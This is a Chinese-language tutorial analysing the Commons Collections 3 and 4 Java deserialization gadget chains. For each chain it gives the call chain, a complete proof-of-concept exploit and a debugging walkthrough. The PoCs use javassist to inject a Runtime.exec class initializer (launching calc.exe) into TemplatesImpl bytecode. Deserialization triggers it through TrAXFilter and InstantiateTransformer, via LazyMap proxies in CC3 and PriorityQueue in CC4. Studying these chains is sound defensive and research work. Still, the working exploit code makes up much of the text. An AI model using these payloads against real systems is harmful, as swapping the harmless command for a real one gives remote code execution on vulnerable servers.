CC3
前言
CC3相当于CC1和CC2的结合,仔细分析过CC1和CC2来看CC3就非常简单。
可参考:
通俗易懂的Java Commons Collection 1分析
通俗易懂的Java Commons Collection 2分析
环境搭建
- JDK 1.7
- Commons Collections 3.1
- javassist
pom.xml
中添加:
<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.24.1-GA</version>
</dependency>
</dependencies>
利用链
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InstantiateTransformer.transform()
newInstance()
TrAXFilter#TrAXFilter()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses
newInstance()
Runtime.exec()
前置知识
CC3中会用到两个新的类,这里先介绍一下:
TrAXFilter
在该类的构造方法中,调用了传入参数的newTransformer()
方法,看到这个方法有点熟悉了,可以实现命令执行,并且参数可控;
CC2中,就是在InvokerTransformer.transform()
中通过反射调用TemplatesImpl.newTransformer()
方法,而CC3中,就可以直接使用TrAXFilter
来调用newTransformer()
方法。
InstantiateTransformer
该类实现了Transformer
、Serializable
接口;
在它的transform()
方法中,判断了input
参数是否为Class
,若是Class
,则通过反射实例化一个对象并返回;
POC分析
package blckder02;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;
public class CC3 {
public static void main(String[] args) throws Exception {
//使用Javassit新建一个含有static的类
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = pool.makeClass("Cat");
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");";
cc.makeClassInitializer().insertBefore(cmd);
String randomClassName = "EvilCat" + System.nanoTime();
cc.setName(randomClassName);
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
cc.writeFile();
byte[] classBytes = cc.toBytecode();
byte[][] targetByteCodes = new byte[][]{classBytes};
//补充实例化新建类所需的条件
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setFieldValue(templates, "_bytecodes", targetByteCodes);
setFieldValue(templates, "_name", "blckder02");
setFieldValue(templates, "_class", null);
//实例化新建类
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
};
ChainedTransformer transformerChain = new ChainedTransformer(transformers);
//调用get()中的transform方法
HashMap innermap = new HashMap();
LazyMap outerMap = (LazyMap)LazyMap.decorate(innermap,transformerChain);
//设置代理,触发invoke()调用get()方法
Class cls1 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = cls1.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler1 = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler1);
InvocationHandler handler2 = (InvocationHandler)construct.newInstance(Retention.class, proxyMap);
try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc3.bin"));
outputStream.writeObject(handler2);
outputStream.close();
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc3.bin"));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}
public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
}
catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}
}
前面基本是CC2的内容;
代码1
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = pool.makeClass("Cat");
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");";
cc.makeClassInitializer().insertBefore(cmd);
String randomClassName = "EvilCat" + System.nanoTime();
cc.setName(randomClassName);
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
cc.writeFile();
byte[] classBytes = cc.toBytecode();
byte[][] targetByteCodes = new byte[][]{classBytes};
使用javassit创建一个类,这个类中包含static代码块,其中包含命令执行代码,只要实例化这个类,就会执行static中的代码;
最后把该类转换为字节码存到targetByteCodes
数组中;
代码2
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setFieldValue(templates, "_bytecodes", targetByteCodes);
setFieldValue(templates, "_name", "blckder02");
setFieldValue(templates, "_class", null);
实例化一个 TemplatesImpl类对象,给一些参数赋值,赋值原因CC2中说明了原因;
代码3
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
};
ChainedTransformer transformerChain = new ChainedTransformer(transformers);
这里有一些不一样,将TrAXFilter.class
传给ConstantTransformer,那么就会返回TrAXFilter
类,然后传给InstantiateTransformer,在InstantiateTransformer类中就会实例化TrAXFilter
类,然而调用它的构造方法,进而调用newTransformer()
方法,从而实现命令执行;
然后就是要找到调用ChainedTransformer.transform()
的地方,才能对transformers 数组进行回调;
接下来就是CC1的内容了;
代码4
HashMap innermap = new HashMap();
LazyMap outerMap = (LazyMap)LazyMap.decorate(innermap,transformerChain);
new了一个LazyMap的对象,LazyMap的get()方法调用了transform()
方法,factory
参数就是传入的transformerChain,达到了代码3的条件;
接着就是要找一个调用get()的地方,
代码5
Class cls1 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = cls1.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler1 = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler1);
InvocationHandler handler2 = (InvocationHandler)construct.newInstance(Retention.class, proxyMap);
还是P牛那句话:
- 我们如果将AnnotationInvocationHandler对象用Proxy进行代理,那么在readObject的时候,只要调用任意方法,就会进入到AnnotationInvocationHandler#invoke方法中,进而触发我们的LazyMap#get。
AnnotationInvocationHandler
是调用处理器,outerMap是被代理的对象,只要调用了LazyMap中的任意方法,就会触发AnnotationInvocationHandler
中的invoke方法;
而在readObject方法中调用了entrySet()方法,所以触发invoke;
在invoke方法中就调用了get方法;
这样就基本上达到了执行命令所需要的条件。
POC调试
this.memberValues
参数值为LazyMap,调用了它的entrySet方法,触发到invoke方法;
跟进get方法,factory
参数为ChainedTransformer的实例化对象,这里调用了它的transform方法;
跟进到ChainedTransformer.transform()
,对transformers[]
数组进行循环;
第一轮循环,iTransformers[0]
参数值为ConstantTransformer,进入它的transform方法,返回TrAXFilter类;
第二轮循坏,iTransformers[1]
参数值为InstantiateTransformer,TrAXFilter
作为参数传入transform方法;
跟进它的transform方法,input
参数值为TrAXFilter
,iParamTypes
参数值为Templates
,iArgs
参数值为TemplatesImpl的实例化对象templates
,return了TrAXFilter类对象;
在getConstructor(iParamTypes)
获取它参数为Templates
类的构造方法时,调用了TransformerImpl的newTransformer()
;
跟进newTransformer()
,调用了getTransletInstance()
方法;
跟进,_name
参数值为我们传入的blckder02
,进入第二个if,_class
参数值为null,_bytecodes
参数值为用javassit创建的类的字节码;
最后实例化_class[_transletIndex]
,该参数的值就为EvilCat606069074499600
执行static中的代码;
命令执行成功;
CC4
前言
CC4相当于是CC2和CC3的结合,只要熟悉前面几条链了,这条链也就很容易看懂了;
CC4和CC2一样是通过调用TransformingComparator.compare()
来实现transform()
的调用;
和CC3一样是通过实例化TrAXFilter
类,然后调用它的构造方法,进而实现newTransformer()
的调用;
环境搭建
- JDK 1.7
- commons-collections 4.0
- javassist
pom.xml
中添加:
<dependencies>
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.25.0-GA</version>
<scope>compile</scope>
</dependency>
</dependencies>
利用链
ObjectInputStream.readObject()
PriorityQueue.readObject()
PriorityQueue.heapify()
PriorityQueue.siftDown()
PriorityQueue.siftDownUsingComparator()
TransformingComparator.compare()
ChainedTransformer.transform()
ConstantTransformer.transform()
InstantiateTransformer.transform()
newInstance()
TrAXFilter#TrAXFilter()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses
newInstance()
Runtime.exec()
POC分析
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.*;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class CC4 {
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = pool.makeClass("Cat");
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");";
cc.makeClassInitializer().insertBefore(cmd);
String randomClassName = "EvilCat" + System.nanoTime();
cc.setName(randomClassName);
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
cc.writeFile();
byte[] classBytes = cc.toBytecode();
byte[][] targetByteCodes = new byte[][]{classBytes};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setFieldValue(templates, "_bytecodes", targetByteCodes);
setFieldValue(templates, "_name", "name");
setFieldValue(templates, "_class", null);
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
};
ChainedTransformer transformerChain = new ChainedTransformer(transformers);
TransformingComparator Tcomparator = new TransformingComparator(transformerChain);
PriorityQueue queue = new PriorityQueue(1);
Object[] queue_array = new Object[]{templates,1};
Field queue_field = Class.forName("java.util.PriorityQueue").getDeclaredField("queue");
queue_field.setAccessible(true);
queue_field.set(queue,queue_array);
Field size = Class.forName("java.util.PriorityQueue").getDeclaredField("size");
size.setAccessible(true);
size.set(queue,2);
Field comparator_field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
comparator_field.setAccessible(true);
comparator_field.set(queue,Tcomparator);
try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc4"));
outputStream.writeObject(queue);
outputStream.close();
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc4"));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}
public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
}
catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}
}
代码1
使用javassit创建一个类,这个类中包含static代码块,其中包含恶意命令执行代码,只要实例化这个类,就会执行static中的代码;
最后把该类转换为字节码存到targetByteCodes数组中;
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = pool.makeClass("Cat");
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");";
cc.makeClassInitializer().insertBefore(cmd);
String randomClassName = "EvilCat" + System.nanoTime();
cc.setName(randomClassName);
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
cc.writeFile();
byte[] classBytes = cc.toBytecode();
byte[][] targetByteCodes = new byte[][]{classBytes};
代码2
实例化一个 TemplatesImpl类对象,给一些参数赋值,赋值原因CC2中说明了原因;
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setFieldValue(templates, "_bytecodes", targetByteCodes);
setFieldValue(templates, "_name", "name");
setFieldValue(templates, "_class", null);
代码3
将TrAXFilter.class
传给ConstantTransformer,那么就会返回TrAXFilter
类,然后传给InstantiateTransformer,在InstantiateTransformer类中就会实例化TrAXFilter
类,然而调用它的构造方法,进而调用newTransformer()
方法,从而实现命令执行;
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
};
ChainedTransformer transformerChain = new ChainedTransformer(transformers);
代码4
实例化一个TransformingComparator对象,将transformer传进去;
实例化一个PriorityQueue对象,传入不小于1的整数,comparator参数就为null;
TransformingComparator Tcomparator = new TransformingComparator(transformerChain);
PriorityQueue queue = new PriorityQueue(1);
代码5
新建一个对象数组,第一个元素为templates,第二个元素为1;
然后通过反射将该数组传到queue中;
Object[] queue_array = new Object[]{templates,1};
Field queue_field = Class.forName("java.util.PriorityQueue").getDeclaredField("queue");
queue_field.setAccessible(true);
queue_field.set(queue,queue_array);
代码6
通过反射将queue的size设为2,因为在PriorityQueue.heapify()
中,size的值需要大于1才能进入下一步;(CC2中有说到)
Field size = Class.forName("java.util.PriorityQueue").getDeclaredField("size");
size.setAccessible(true);
size.set(queue,2);
代码7
通过反射给queue的comparator参数赋值,从而调用到compare()
方法,实现transform()
的调用;
Field comparator_field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
comparator_field.setAccessible(true);
comparator_field.set(queue,Tcomparator);
POC调试
还是从PriorityQueue.readObject()
开始;
queue[]
里面是我们传入的TemplatesImpl类的实例化对象和整数1;
跟进heapify()
,size值为2;
跟进siftDown
,comparator参数不为null;
跟进siftDownUsingComparator
,调用了compare()
;
跟进compare()
,obj1
就是传入的templates,this.transformer
是ChainedTransformer
的实例化对象,也就是调用了ChainedTransformer.transform()
;
跟进ChainedTransformer.transform()
,进入循坏;
第一轮iTransformer
参数值为ConstantTransformer,即调用了ConstantTransformer.transform()
;
跟进ConstantTransformer.transform()
,iConstant
参数值为传入的TrAXFilter.class
,即返回了TrAXFilter
类
回到ConstantTransformer.transform()
进入第二轮循环,这次的iTransformer
参数值为InstantiateTransformer,object
参数值为TrAXFilter
;
跟进InstantiateTransformer.transform()
,返回TrAXFilter
类对象;
在实例化TrAXFilter
类时,调用了它的构造方法,其中调用了templates.newTransformer()
;
后面就和CC2一样啦,到这里实例化了javassit新建类;
命令执行成功;
参考链接:
https://paper.seebug.org/1242
https://www.cnblogs.com/nice0e3/p/13854098.html
https://www.cnblogs.com/nice0e3/p/14032604.html